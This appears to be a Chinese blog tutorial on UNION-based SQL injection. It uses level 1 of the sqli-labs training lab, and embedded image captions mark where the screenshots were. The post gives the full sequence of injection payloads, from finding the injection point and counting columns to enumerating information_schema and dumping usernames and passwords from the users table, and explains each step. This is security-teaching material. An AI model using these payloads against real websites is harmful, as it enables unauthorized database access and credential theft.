sql注入 union联合查询注入(超详细)

sql注入 union联合查询注入

我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做。
好的,我们开始第一关!

首先查看sqli-labs第一关
sql注入 union联合查询注入(超详细)_第1张图片
这是第一关初始界面,在url界面输入?id=1 发现有回显,给我们回显了两个数据
sql注入 union联合查询注入(超详细)_第2张图片
当我们输入?id=1’ 时出现了语法错误,表示这里可能存在语法漏洞,我们进一步探索
sql注入 union联合查询注入(超详细)_第3张图片
当我们输入 ?id=1’ --+ 时,又回显正常,然后我们用 ?id=1’ and 1=1–+ 回显正常,?id=1’ and 1=2–+ 没有回显, 于是可以判断此处为sql注入点。
sql注入 union联合查询注入(超详细)_第4张图片
然后,我们使用order by 判断该语句查询了几列数据
输入?id=1’ order by 3 --+
输入?id=1’ order by 4 --+
发现输入第一句时回显正常,输入第二句时报错。可以证明前面查询了三列数据。

思考:
1.为什么用order by 可以证明前面语句查询了三列数据呢?
2.我们为什么要知道前面查询了多少语句呢?

解:
第一题:
首先我们要知道order by的作用:order by 简单的来说 就是对前面查询的数据进行分组,分组依据是前面查询的内容的属性。比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但是不能超过三种。所以上面order by 4 会报错误信息。因此可以依据此来判断前面查询了几列数据。
第二题:
因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。比如,此语句:select 甲,乙,丙 union select 1,2,3 因为前面查询的语句有三个元素(甲,乙,丙),所以后面查询的语句必须是三个元素(1,2,3)。
sql注入 union联合查询注入(超详细)_第5张图片
sql注入 union联合查询注入(超详细)_第6张图片
判断元素后,开始寻找显示位。
使用语句:?id=111‘ union select 1,2,3 --+
查看到显示2,3。于是判断显示位为第二个元素和第三个元素。
这里将id值改为111是为了让前面查询的语句为空,无显示,然后后面查询语句查询的元素显示出来。
为什么要进行这一步?因为要将显示位判断出来,我们才能知道应该在哪里注入我们查询的语句它才会显示。
sql注入 union联合查询注入(超详细)_第7张图片
开始查询数据库名
使用语句:?id=111’ union select 1,2,(database()) --+
使用第三个元素的显示位直接查询
sql注入 union联合查询注入(超详细)_第8张图片
查询表名
使用语句: ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个tables表,里面存有整个数据库的表名。我们要去查找的表,就是在这个库中去找。
使用group_concat()函数将所有查询的表名连在一起成为一条数据。
sql注入 union联合查询注入(超详细)_第9张图片
sql注入 union联合查询注入(超详细)_第10张图片
查询表中列名
当我们拿到所有的表名后,选取可能含有敏感信息的表进行查询,比如users表。
使用语句:
?id= 111’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’ ) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个columns表,里面存有整个数据库的列名。我们要去查找的列,就是在这个库中去找。
sql注入 union联合查询注入(超详细)_第11张图片
sql注入 union联合查询注入(超详细)_第12张图片
查找列中的值
使用语句:
?id=111’ union select 1,group_concat(username),group_concat(password) from security.users --+
使用2,3显示位 查询列中的值。
sql注入 union联合查询注入(超详细)_第13张图片

你可能感兴趣的:(安全,web安全)